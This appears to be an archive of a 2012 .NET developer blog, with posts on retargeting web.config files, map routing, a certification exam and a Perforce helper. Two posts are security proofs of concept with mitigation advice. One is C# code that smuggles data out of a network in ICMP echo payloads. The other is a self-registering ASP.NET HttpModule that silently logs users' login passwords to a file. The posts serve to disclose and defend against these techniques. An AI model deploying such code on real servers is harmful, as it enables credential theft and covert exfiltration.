            ProcessConfigs(configs, deleteWebServerSection);

            Console.WriteLine("done!");
        }

        private static bool ShallPerformStepSeven()
        {
            return Confirm(@"
Please note that:
Step 7 is: Delete everything between the system.webserver section start and end tags, but leave the tags themselves.
But in fact retargeting a Web project from the project property tab with Visual Studio 2010 does NOT remove all child elements!

Plus, be aware of these:
http://msdn.microsoft.com/en-us/library/46c5ddfy.aspx
http://weblogs.asp.net/mschwarz/archive/2008/11/07/appcmd-migrate-and-http-error-500-22-things-you-can-try.aspx
http://stackoverflow.com/questions/3400116/deploying-asp-net-mvc-app-to-iis7-net-4-0-environment-images-and-css-dont-loa

Do you want to execute this step? (y/n)
");
        }

        private static void ProcessConfigs(IEnumerable<string> configs, bool deleteWebServerSection)
        {
            foreach (var config in configs)
            {
                // 2 - Open the Web.config file in the application root.
                var xConfig = XDocument.Load(config);

                // 3 - In the configSections section, remove the sectionGroup element that is named "system.web.extensions".
                var webExtensions = xConfig
                    .XPathSelectElements("configuration/configSections/sectionGroup[@name='system.web.extensions']")
                    .FirstOrDefault();
                if (webExtensions != null)
                    webExtensions.Remove();

                // 4 - In the system.web section, in the compilation collection, remove every add element that refers to an assembly of the .NET Framework.
                var assembliesAdd = from a in xConfig
                                .XPathSelectElements("configuration/system.web/compilation/assemblies/add")
                                    let assembly = (string)a.Attribute("assembly")
                                    where assembly != null && assembly.StartsWith("System.")
                                    select a;
                if (assembliesAdd.Any())
                    assembliesAdd.Remove();

                // 5 - Add a targetFramework attribute to the compilation element in the system.web section, as shown in the following example:
                var compilation = xConfig.XPathSelectElements("configuration/system.web/compilation").FirstOrDefault();
                if (compilation != null)
                    compilation.SetAttributeValue("targetFramework", "4.0");

                // 6 A - In the opening tag for the pages section, add a controlRenderingCompatibility attribute, as shown in the following example:
                var pages = xConfig.XPathSelectElements("configuration/system.web/pages").FirstOrDefault();
                if (pages != null)
                    pages.SetAttributeValue("controlRenderingCompatibilityVersion", "3.5");

                // 6 B - In the system.codedom section, in the compilers collection, remove the compiler elements for c# and vb.
                var codedom = from a in xConfig
                                .XPathSelectElements("//system.codedom/compilers/compiler")
                              let language = (string)a.Attribute("language")
                              where language != null
                              && (language.StartsWith("c#") || language.StartsWith("vb"))
                              select a;
                if (codedom.Any())
                    codedom.Remove();

                // 7 - Delete everything between the system.webserver section start and end tags, but leave the tags themselves.
                if (deleteWebServerSection)
                {
                    xConfig.XPathSelectElements("configuration/system.webServer/*").Remove();
                }

                // 8 - Delete everything between the runtime section start and end tags, but leave the tags themselves.
                xConfig.XPathSelectElements("configuration/runtime/*").Remove();

                xConfig.Save(config, SaveOptions.None);
                Console.WriteLine("Finished with {0}.", config);
            }
        }

        private static bool Confirm(string message)
        {
            Console.WriteLine(message);
            return Console.ReadKey().KeyChar == 'y';
        }
    }
}

Use it in a script if you'd like, to be able to re-target an ASP.Net Web Application from version 3.5 to 4.0.
It could be useful to re-target many applications, with multiple web.configs, from the command prompt:

for /f %a in ('dir /s /b web.config') do cd %a\.. & RetargetFramework4.exe justrun
Note that if you are calling it from within a batch (.bat or .cmd) script file, % becomes %%

Make sure your config files are not marked as readonly (they probably will if you are using Source control and have not them checked out). So check them out or remove the readonly attribute:

attrib -r web.config

Google Maps vs Bing Maps

2012-05-20T17:27:00.000+02:00

After planning trips for about 30 countries, road trips or not, my browser learned that when I press m, I'm looking for Google Maps:

This time, my trip will go through Bosnia and Herzegovina, and there was a problem though. Google Maps won't find routes through it.

We could not calculate directions between Belgrade, Serbia and Sarajevo, Bosnia and Herzegovina.

Another test showed that not only from outside Bosnia but also within the country:

We could not calculate directions between Banja Luka, Bosnia and Herzegovina and Sarajevo, Bosnia and Herzegovina.

That's when I gave a try to Bing Maps. It was a moment of surprise to see the route calculated until I noticed it looked quite weird:

Belgrade - Sarajevo with Bing Maps (http://binged.it/JI0BkK)

The route created clearly was too long, having 394 kilometers (244 miles).

After a quick research I found on Sarajevo wikitravel:

From Belgrade (Serbia) - taking direction to Sabac - Zvornik - Vlasenica - Sokolac - Sarajevo.

Using this tip, I decided to "help" Bing Maps by adding these locations on the way. The result, the least I can say, was funny! :)

Belgrade - Sarajevo and more with Bing Maps (http://binged.it/JHYXQ5)

A way of 632 kilometers (392 miles), completely insane!

The situation is that Google Maps won't give directions with a location inside Bosnia and Bing Maps seems to make fun of me. Finally, I got it surprisingly with Michelin.

]

Belgrade - Sarajevo with Via Michelin (http://tinyurl.com/7qt94ya)

A route with 305 kilometers (189 miles)

Today's battle Microsoft vs Google, the winner was Michelin!

MCPD upgrade, 70-523 exam

2012-04-27T19:18:00.000+02:00

So today I finally did the 70-523 exam in order to upgrade the certification with the longest title ever created:

Microsoft Certified Professional Developer .Net Framework 3.5 Web Developer
to
Microsoft Certified Professional Developer .Net Framework 4 Web Developer

Two characters shorter now, though.

Almost 1 year and a half now since I did the 70-567, to upgrade from .Net 2.0 to 3.5 which means I was already late, considering .Net 4.0 was already launched. The .Net Framework 4.5 is on Developer preview so I guess I could finally catch up.

Like the 70-567 exam, this was composed by more than 1 exam. "An exam within an exam" once said Leonardo. In the case of 70-523, there was 4 exams:

TS Accessing Data with Microsoft .Net Framework 4
TS Windows Communication Foundation Development with Microsoft .Net Framework 4
TS Web Applications Development with Microsoft .Net Framework 4
Pro: Designing and developing Web Applications Using Microsoft .Net Framework 4

Which means you get 3 MCTS and 1 MCPD certificates.

The countdown was per exam, 40 minutes, which was more then enough considering the questions are straightforward, with few text to read.
The way Microsoft does these tests is interesting. I've been doing these exams since 2006 it has always been the same. When I say "the way", I mean normally select 1 out of 4 options, or select 2 out of 6 where:

Each option is a complete solution
or
Both answers together make the solution

The idea that "it's never something too hard to do" is always valid and really helps a lot when you are not sure about the answer. Indeed they always include some questions regarding something you'll never see in your life, but we shouldn't have a hard time if we use the principle: "It's never too complicated".

So they asked something like:

You work for Lorem Ipsum Inc and you have a WCF service you must log all message exchanges. What do you do?

A - Create this config <binding>tralálá..</binding>
B - Create a new project, reference you old service assembly's to the new project, delete the Chrome shortcut from your desktop and make sure you use Internet Explorer and Bing.
C - Copy paste the service implementation and deploy both services on the same server.
D - Buy a new server, setup load balance and deploy your service.

Ok. I made it sound extremely ridiculous, but I want to prove a point here: Which one would you select?
Even if you have no idea what the above text is talking about, if you follow the principle I mentioned, you would select the first option.

How to be prepared? I'm hopping you have a full time job working with Microsoft Technology, this really helps! Plus, most places you work, you don't have the chance to use every single new thing Microsoft launches as part of a new release of .Net Framework, so having a private project or at least play with it at home once in a while does help. On top of that, the standard way of study, (I suppose it's still standard), books.

I read these 3:

MCTS Self-Paced Training Kit (Exam 70-515): Web Applications Development with Microsoft .NET Framework 4 (Mcts 70-515 Exam Exam Prep)

MCTS Self-Paced Training Kit (Exam 70-516): Accessing Data with Microsoft .NET Framework 4

MCPD 70-519 Exam Ref: Designing and Developing Web Applications Using Microsoft .NET Framework 4

If you did 70-536 exam, a number I won't forget because took me a long time to be prepared to and the number of questions regarding pieces of the Framework I have never used were amazing, you might have read this book. It was written by the same guy who wrote the last book I listed above, Tony Northrup.

One thing worth mentioning: I was surprised by the number of errors on the 70-519 book by Tony Northrup, but since it was its first release (5 months ago), it's understandable. I enjoy reading his books but I was hoping better from Microsoft Press review people.

ICMP for stealth transport of data

2012-03-11T14:14:00.000+01:00

ICMP (Internet Control Message Protocol) has been used for data transfer since always. Known as ICMP Tunnel, there are several projects and articles about this, mainly open source, like ICMP-Chat for unix-like that is about 10 years old now. Also an interesting article, explaining how to tunnel TCP over ICMP with a simple command line tool for unix-like environment, also ported to Windows.

In case you are not familiar with the idea, a description from Wikipedia follows:

"ICMP tunneling works by injecting arbitrary data into an echo packet sent to a remote computer."
...
"This vulnerability exists because RFC 792, which is IETF's rules governing ICMP packets, allows for an arbitrary data length for any type 0 (echo reply) or 8 (echo message) ICMP packets."

It is correct to say that ICMP is normally not considered a threat, at least not by the majority of network administrators. It's common to add security mechanisms (IDS, IPS, appliances, etc) to a corporate network, but in the end all types of ICMP packets, with all payload sizes etc, pass freely at least from within the private network to the outside world. This technique is used to send sensitive data outside a private network without relying on SMTP, HTTP or other upper layer protocol that are commonly monitored and logged.

The Sender:

The sender has very simple implementation. Considering the objective is to send data to the outside world, the reply is actually irrelevant. The Sender code does not require to handle the replies.

At first I started writing the Sender code with raw sockets, having lots of fun using binary operators (<<, >>, ~, etc), writing one's complement and reading the RFC 792. Then I found the code would only run when executing as administrator. The whole idea wouldn't make much sense if the Sender process requires elevated privilege. Take for example the ASP.NET Application Pool, as default, wouldn't be able to run it. And the worse is that this is not something new at all, SOCK_RAW function access was blocked to non administrator users as described by this Microsoft knowledge base article since Windows NT 4.0, which means, always.

I can still remember writing ICMP type 8 (echo request) packets with custom payload about 4 years ago, with C#, and without writing that much code anyway. So I tried the Ping class, introduced on .Net Framework 2.0 only to find a third parameter of type byte[] called buffer: Great! That's the payload. So this is the way to go.

A quick test with:

new System.Net.NetworkInformation
                .Ping()
                .Send(Dns.GetHostAddresses("google.com")
                .First(), 
                300, 
                Encoding.ASCII.GetBytes("teste123"));

On Microsoft Network Monitor I see:

Custom ICMP payload

The Receiver:

Working with ICMP is not the same as standard TCP or UDP sockets. We don't need to Bind a socket to a logical port so the operating system knows which software will handle the packets. To better describe this, I will quote a paper from SANS institute:

Although ICMP messages are sent in IP packets and it uses IP as if it were a higher-level
protocol, ICMP is in fact an internal part of IP, and must be implemented in every IP
module.

Because of this behavior, monitoring processes and its TCP or UDP ports in use is pointless when using this technique.

When implementing the Receiver part of this PoC, I used Microsoft Network Monitor 3.4, which has an API and already comes with a wrapper class in C# called NetmonAPI.cs. So if you want to run this code, install Microsoft Network Monitor, and add NetmonAPI.cs to your project.

using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Net.NetworkInformation;
using System.Runtime.InteropServices;
using System.Text;
using Microsoft.NetworkMonitor;

namespace BrunoGarcia.Net
{
    /// <summary>
    /// Captures icmp packets of type Echo Request with its payload
    /// </summary>
    public unsafe sealed class IcmpPayloadCapturer : IDisposable
    {
        readonly IcmpPayloadCaptured _payloadCapturedCallback;
        readonly CaptureCallbackDelegate _captureHandler;
        readonly List<uint> _adapterIndex = new List<uint>();
        readonly NmCaptureMode _captureMode;
        readonly int _icmpPayloadBufferSize;
        bool _isDisposed;
        uint _icmpFilterId, _icmpPayloadFieldId, _sourceIpFieldId, _icmpTypeFieldId;
        IntPtr _engineHandle, _frameParserHandle, _nplParserHandle, _configParserHandle;

        public delegate void IcmpPayloadCaptured(IPAddress sourceAddress, string payload);

        /// <summary>
        /// Monitors NICs for ICMP packets
        /// </summary>
        /// <param name="payloadCaptured">Delegate called when icmp type 8 is captured and its payload extracted</param>
        /// <param name="icmpPayloadBufferSize">Buffer size when reading the icmp data field</param>
        /// <param name="captureMode">Capture mode: This computer or anything it can listen from an Network Adapter</param>
        public IcmpPayloadCapturer(IcmpPayloadCaptured payloadCaptured, int icmpPayloadBufferSize = 2048,
            NmCaptureMode captureMode = NmCaptureMode.LocalOnly)
        {
            _payloadCapturedCallback = payloadCaptured;
            _icmpPayloadBufferSize = icmpPayloadBufferSize;
            _captureHandler = new CaptureCallbackDelegate(CaptureCallback);
            _captureMode = captureMode;
        }

        /// <summary>
        /// Starts capture of ICMP Echo Request payload
        /// </summary>
        /// <param name="adapters">Network Interfaces to intercept</param>
        public void Start(IEnumerable<NetworkInterface> adapters)
        {
            if (_isDisposed)
                throw new ObjectDisposedException(GetType().FullName);

            if (NetmonAPI.NmOpenCaptureEngine(out _engineHandle) != 0)
                throw new Exception(@"Failed to load Capture Engine. Make sure you have:
Program running in Single Threaded Apartment (STA)
Microsoft Network Monitor 3.3 or later installed!");

            ConfigureParser();
            ConfigureAdapters(_engineHandle, adapters);
        }

        void ConfigureParser()
        {
            NetmonAPI.NmLoadNplParser(null, NmNplParserLoadingOption.NmAppendRegisteredNplSets, null, IntPtr.Zero, out _nplParserHandle);
            NetmonAPI.NmCreateFrameParserConfiguration(_nplParserHandle, null, IntPtr.Zero, out _configParserHandle);

            NetmonAPI.NmAddFilter(_configParserHandle, "Protocol.ICMP", out _icmpFilterId);
            NetmonAPI.NmAddField(_configParserHandle, "ICMP.Type", out _icmpTypeFieldId);
            NetmonAPI.NmAddField(_configParserHandle, "IPv4.SourceAddress", out _sourceIpFieldId);
            NetmonAPI.NmAddField(_configParserHandle, "ICMP.EchoReplyRequest.ImplementationSpecificData", out _icmpPayloadFieldId);

            NetmonAPI.NmCreateFrameParser(_configParserHandle, out _frameParserHandle, NmFrameParserOptimizeOption.ParserOptimizeFull);
        }

        void ConfigureAdapters(IntPtr engineHandle, IEnumerable<NetworkInterface> adapters)
        {
            var adapterInfo = new NM_NIC_ADAPTER_INFO { Size = (ushort)Marshal.SizeOf(typeof(NM_NIC_ADAPTER_INFO)) };

            uint adapterCount;
            NetmonAPI.NmGetAdapterCount(engineHandle, out adapterCount);

            for (uint i = 0; i < adapterCount; i++)
            {
                NetmonAPI.NmGetAdapter(engineHandle, i, ref adapterInfo);
                if (adapters.Any(p => p.Id == string.Concat(adapterInfo.Guid.Take(38))))
                {
                    NetmonAPI.NmConfigAdapter(engineHandle, i, _captureHandler, IntPtr.Zero,
                        NmCaptureCallbackExitMode.DiscardRemainFrames);

                    if (NetmonAPI.NmStartCapture(engineHandle, i, _captureMode) == 0)
                        _adapterIndex.Add(i);
                }
            }
        }

        void CaptureCallback(IntPtr captureEngine, UInt32 ladapterIndex, IntPtr callerContext, IntPtr rawFrame)
        {
            IntPtr parsedFrame, insertedRawFrame; // insertedRawFrame is used by reassembly, which only works on saved data. Will always be -1 here.
            if (NetmonAPI.NmParseFrame(_frameParserHandle, rawFrame, uint.MinValue, 
                NmFrameParsingOption.None, out parsedFrame, out insertedRawFrame) == 0)
            {
                bool passed;
                NetmonAPI.NmEvaluateFilter(parsedFrame, _icmpFilterId, out passed);
                if (passed)
                    ParseIcmpPacket(parsedFrame);

                NetmonAPI.NmCloseHandle(parsedFrame);
                parsedFrame = IntPtr.Zero;
            }
            NetmonAPI.NmCloseHandle(rawFrame);
            rawFrame = IntPtr.Zero;
        }

        void ParseIcmpPacket(IntPtr parsedFrame)
        {
            ushort icmpType;
            NetmonAPI.NmGetFieldValueNumber16Bit(parsedFrame, _icmpTypeFieldId, out icmpType);

            if (icmpType == 8) // Echo Request
            {
                var bytes = new byte[_icmpPayloadBufferSize];
                fixed (byte* buffer = &bytes[0])
                {
                    uint size;
                    NetmonAPI.NmGetFieldValueByteArray(parsedFrame, _icmpPayloadFieldId, (uint)_icmpPayloadBufferSize, buffer, out size);
                    uint sourceIp;
                    NetmonAPI.NmGetFieldValueNumber32Bit(parsedFrame, _sourceIpFieldId, out sourceIp);

                    _payloadCapturedCallback(
                        new IPAddress(sourceIp),
                        Encoding.ASCII.GetString(bytes, 0, (int)size));
                }
            }
        }

        ~IcmpPayloadCapturer()
        {
            Dispose(false);
        }

        public void Dispose()
        {
            Dispose(true);
        }

        private void Dispose(bool isDispose)
        {
            if (!_isDisposed)
            {
                _isDisposed = true;

                _adapterIndex.ForEach(i => NetmonAPI.NmStopCapture(_engineHandle, i));
                NetmonAPI.NmCloseHandle(_engineHandle);
                NetmonAPI.NmCloseHandle(_frameParserHandle);
                NetmonAPI.NmCloseHandle(_nplParserHandle);
                NetmonAPI.NmCloseHandle(_configParserHandle);

                _engineHandle = _frameParserHandle = _nplParserHandle = _configParserHandle = IntPtr.Zero;

                if (isDispose)
                    GC.SuppressFinalize(this);
            }
        }
    }
}

Running from the console without Run as Administrator:

Sending and Reading custom ICMP payload

Obviously, running the two portions of the code on the same computer does not explain clearly what goes on behind the scenes. But note that there is nothing handling the reply from the Ping code (the Sender part). The Sender thread, is pinging Google but doesn't know about the reply at all. The Receiver code, running on a different thread, using Microsoft Network Monitor 3.4 API is intercepting all ICMP type 8 packets and parsing its data field.

Now adding the Sender portion to an HttpModule as I mentioned in previous post, an attacker could send sensitive data to another peer via simple ICMP echo requests. The data could be scrambled with a simple XOR or even ciphered with symmetric-key algorithm using hardcoded password or asymmetrically with a public key. Breaking large data into small chunks, would avoid fragmentation (remember MTU for Ethernet is 1500 bytes) and strangely big ICMP packets. Reordering the data on the Receiver gives great possibilities for data transfer. Even an ICMP Chat for Windows could be done, as mentioned in the introduction, exists one for unix-like systems.

Mitigation

On Wikipedia mitigation section, I found:

"Although the only way to prevent this type of tunneling is to block ICMP traffic altogether, this is not realistic for a production or real-world environment. One method for mitigation of this type of attack is to only allow fixed sized ICMP packets through firewalls to virtually eliminate this type of behavior."

I disagree that allowing only fixed size ICMP packets would avoid ICMP Tunnel since the data can be break into smaller chunks, fixed ones, and reassembled by the Receiver. Using the code I created as PoC, we can easily change the size of the data, even writing fixed size data, by adding one layer to control sequence numbering, offset, etc. Also we can change the ICMP type by using instead of echo Request, Destination Unreachable, or any other. However, considering the idea here is the theft of information, sent from within the network (behind NAT for example), to an external system that will probably receive and log data not only from one, but from several compromised systems, echo Request fits perfectly.

It's true that there are applications and other protocols relying on ICMP to work properly. The impact of blocking ICMP completely should be assessed prior to taking such action. Still, it should be blocked when not needed, and firewall rules to allow it on each particular case it is required.

HttpModules. Now even easier to be misused.

2012-02-22T11:34:00.003+01:00

Attacks like DDoS or simple web defaces are just vandalism and for sure quite annoying. However, what is considered to be a serious threat is when skilled attackers target one application (or one company), looking for specific information. They dig until they find a security hole, escalate privileges and once they have access to one server, they begin to obtain access to other computer systems within that network.

What does it have to do with HttpModules?

HttpModules gives you a complete control over the Request, Response, Session, Cache and other modules loaded within your web application. They are required and very useful when building ASP.NET applications.

This great control over the application can also be misused when malicious attackers break into the Web Application Server. All the applications hosted there are compromised. Access to its ConnectionStrings means database access, and in case authentication is based on forms, all password hashes are readable. Bruteforcing against a dictionary or even using a hash database, like this one with over 10 million hashes, would break many of them. But with the control HttpModules gives to you is so big that you actually should not worry about hash cracking at all.

HttpModule Overview:

The classic way to build an HttpModule is to create a class within your Web Application project (or at least reference System.Web), implement IHttpModule interface, create an entry to the web.config, and it works. The registration of the HttpModule is the portion added to the web.config, like:

<httpModules>
    <add name="AuditModule" type="BrunoGarcia.AuditModule"/>
</httpModules>

HttpModules can easily be plugged in an application in production without rebuilding it or having any access to the source control what so ever. Simply adding the module dll under the bin folder or just putting HttpModule source file in App_Code folder which would trigger dynamic compilation and recycle the application. But the web.config registration would have to be done either way.

With the introduction of ASP.NET MVC 3, came along the Microsoft.Web.Infrastructure assembly. Microsoft has its description on msdn:

The Microsoft.Web.Infrastructure.DynamicModuleHelper contains classes that assist in managing dynamic modules in ASP.NET web pages that use the Razor syntax.

One of the classes within that namespace is: PreApplicationStartMethodAttribute that can be used to make the module registration programmatically. Note that even though it mentions "Razor syntax", what I describe here works with any type of ASP.NET application.

With this, it got even easier, considering the module will register itself. Just make sure the application server has the Microsoft.Web.Infrastructure.dll available either in the global assembly catalog (GAC) or at least under the application Bin folder and the application pool running on .Net 4.0. Matt Wrock wrote here, not long ago, about this new functionality and he ends the post with the section "Is this a good practice?" describing a few concerns about this technique. I'd like to quote this part:

"Well maybe I'm over thinking this but my first concern here is discoverability. In the case of this specific sample, the HttpModule is visibly changing the markup rendered to the browser. I envision a new developer or team inheriting this application and wonder just how long it will take for them to find where this "alteration" is coming from. ... Or perhaps a team member drops in such a module and forgets to tell the team she put it there. I'm thinking that at some point in this story some negative energy will be exerted. Perhaps even a tear shed?"

Now an attacker with write permission to the application bin folder can inject a module without even changing the web.config, and therefore make it even more complicated to detect the system was compromised.

PoC:

To simulate the production system I've created a new project using ASP.NET Web Application template that creates a standard Web Forms Project, did no changes to the project, built it and hosted with IIS 7.5.
Created an entry to the loopback on C:\Windows\System32\drivers\etc\hosts called: httpmodulepoc.com
Note that IIS has default settings and the Application Pool is running under ApplicationPoolIdentity and as mentioned here, is:

ApplicationPoolIdentity is a Managed Service Account, which is a new concept introduced in Windows Server 2008 R2 and Windows 7. For more information on Managed Service Accounts, please see the following link:
http://technet.microsoft.com/en-us/library/dd367859(WS.10).aspx

For this PoC I thought of simply intercepting all requests, and in case of a POST on the login form, write the username and password to a file. Writing a file on disk with the permission set that Application Pool has by default doesn't give you many options. However the ACL on ASP.NET Temp folder allows write access.
Therefore I picked the path:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Temporary ASP.NET Files

Then comes the module:

using System;
using System.IO;
using System.Web;
using System.Web.Hosting;
using Microsoft.Web.Infrastructure.DynamicModuleHelper;

[assembly: PreApplicationStartMethod(typeof(RequestInterceptorModule), "Run")]
public class RequestInterceptorModule : IHttpModule
{
    public static void Run()
    {
        DynamicModuleUtility.RegisterModule(typeof(RequestInterceptorModule));
    }

    public void Dispose() { }

    const string myFile = @"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Temporary ASP.NET Files\HttpModulePoC";
    static readonly object @lock = new object();

    public void Init(HttpApplication context)
    {
        context.BeginRequest += new EventHandler(context_BeginRequest);

        File.WriteAllText(myFile,
            string.Format("{0} Module initialized for application {1}\r\n",
            DateTime.Now,
            HostingEnvironment.ApplicationHost.GetSiteName()));
    }

    void context_BeginRequest(object sender, EventArgs e)
    {
        var app = sender as HttpApplication;
        if (app.Request.RequestType == "POST"
            && Path.GetFileName(app.Request.PhysicalPath) == "Login.aspx")
        {
            lock (@lock)
            {
                File.AppendAllText(myFile, string.Format("{0} - Login: {1} - Password: {2}\r\n",
                    DateTime.Now,
                    app.Request.Form["ctl00$MainContent$LoginUser$UserName"],
                    app.Request.Form["ctl00$MainContent$LoginUser$Password"]));
            }
        }
    }
}

I built this class in its own project. A dll file with 6KB was created and I just copied it to the hosted application HttpModulePoC bin folder.

Then I browse: http://httpmodulepoc.com

When I hit the server, the application pool process starts, the module loads itself, subscribes for BeginRequest event and writes to the file:
21/02/2012 16:32:45 Module initialized for application HttpModulePoC

Click on Login link, write username and password and click Log In:

In the file I see:
21/02/2012 16:32:58 - Login: myUsername - Password: myPassword

This is just an example of what could be done. Think of having complete access to Cache, User Session, Request, Response and more. So much can be done.

Monitoring loaded modules:

As I mentioned above, before the introduction of:
Microsoft.Web.Infrastructure.DynamicModuleHelper.PreApplicationStartMethodAttribute
Creating custom modules required registration on web.config. Simple monitoring the configuration files was enough. But now a different approach has to be used.
Before injecting my module to the HttpModulePoC application, enumerating the loaded Modules with:

HttpContext.Current.ApplicationInstance.Modules.AllKeys

I got the following15 items:

OutputCache
Session
WindowsAuthentication
FormsAuthentication
PassportAuthentication
RoleManager
UrlAuthorization
FileAuthorization
AnonymousIdentification
Profile
ErrorHandlerModule
ServiceModel
UrlRoutingModule-4.0
ScriptModule-4.0
DefaultAuthentication

Mitigation could be done by writing a custom code to compare the allowed modules with the ones loaded. In case an unauthorized module is loaded, send an alert (or avoid completely the application from starting). Alerts could be simply written to event log or sent by e-mail.

Obviously, the most important is to train the development team to write secure code, make sure the system is up-to-date with security updates from the vendor of the operating system and applications installed. That will minimize the risk of attackers breaking into the application server.

New files on Visual Studio project added to Perforce

2012-02-10T14:43:00.001+01:00

I worked with a few different source control systems. The first was Visual Source Safe, then CVS, Subversion (SVN) and for two years I was working with Team Foundation Server, and its Source Control. Great integration TFS has, just like any other Microsoft product working with each other.

Now I started working on a project with a different source control: Perforce
Wouldn't dare to talk badly about it, scalability is quite impressive and it has good features too.
There is also plugin to integrate your project to Visual Studio, which for example, adds to your pending list on Perforce, files you add to your Visual Studio project.

But what if your project is not integrated (or you don't have the plugin)?

Well, it was my case, and it means that every time you add files to your project on Visual Studio, using the Wizard for example, you have to open p4 client, browse to the file and click: Mark for Add. Only then, the files are shown in your changelist.

Not a problem. Every time I add something to the project, I have to remember to go to p4 and Mark for Add.
Obviously it didn't take long, I forgot to Mark for Add one file, submitted my changes and CruiseControl tray application went red. I broke the build!

Foreseen that would not be the only occasion, I decided to spend an hour or so doing some quick and dirty solution to serve as a patch for this lack of memory I might eventually have.

So the first thing that popped in my head was parsing the csproj file (would have to parse .sln too, in case I add a new project). That probably would take sometime to make work well.
And to know when it is changed, I would have to monitor it anyway. So I decided that monitoring the project folder with FileSystemWatcher was the best effort/benefit ratio.

Considering my layout skills are great, I decided not to try to make a UI! :)
Well, there's a Context Menu, since defining the paths to monitors and Regular Expressions to ignore are required to make it work.

Path that match one if this Regex are ignored

But let's ignore that part and see it working:
I select Add file within Visual Studio, the file is written to the disk and immediately I get the popup, on top of Visual Studio:

Notification that file was added. Hit enter to add it to your Change list within Perforce

Despite the UI related code, which stayed in the Form1 code-behind, there's only 1 class, as I mentioned before Quick-and-dirty, that does the business. For each path you specify to be monitored, a new instance is created:

namespace AddToPerforce
{
    internal class Watcher : IDisposable
    {
        private IEnumerable<string> _exceptions { get; set; }
        private FileSystemWatcher _fileWatchers = null;

        public string PathToMonitor { get; private set; }

        public Watcher(IEnumerable<string> exceptions, string pathToMonitor)
        {
            _exceptions = exceptions;
            PathToMonitor = pathToMonitor;
        }

        public void Start()
        {
            _fileWatchers = new FileSystemWatcher(PathToMonitor);
            _fileWatchers.Created += CreatedHandler;
            _fileWatchers.Error += (s, e) => MessageBox.Show(string.Format("Error has occured: {0}", e.GetException().Message));
            _fileWatchers.EnableRaisingEvents = _fileWatchers.IncludeSubdirectories = true;
        }

        public bool PauseContinue()
        {
            return _fileWatchers.EnableRaisingEvents = !_fileWatchers.EnableRaisingEvents;
        }

        void CreatedHandler(object sender, FileSystemEventArgs e)
        {
            if (_exceptions.Any(p => Regex.IsMatch(e.FullPath, p))) return;

            var msg = string.Format(@"File created: 

{0}

Do you want to add it to your perforce Changelist?", e.FullPath);

            if (DialogResult.Yes == MessageBox.Show(msg, "File added!",
                MessageBoxButtons.YesNo,
                MessageBoxIcon.Warning,
                MessageBoxDefaultButton.Button1,
                MessageBoxOptions.DefaultDesktopOnly))
                Process.Start("p4", string.Format("add -f -c default \"{0}\"", e.FullPath));
        }

        public void Dispose()
        {
            if (_fileWatchers != null)
                _fileWatchers.Dispose();
        }
    }
}

So now every time I add a file to the project (or write any file on the path I setup to be monitored), I get that Notification where I can choose to add it to Perforce changelist.

You can download the sources here.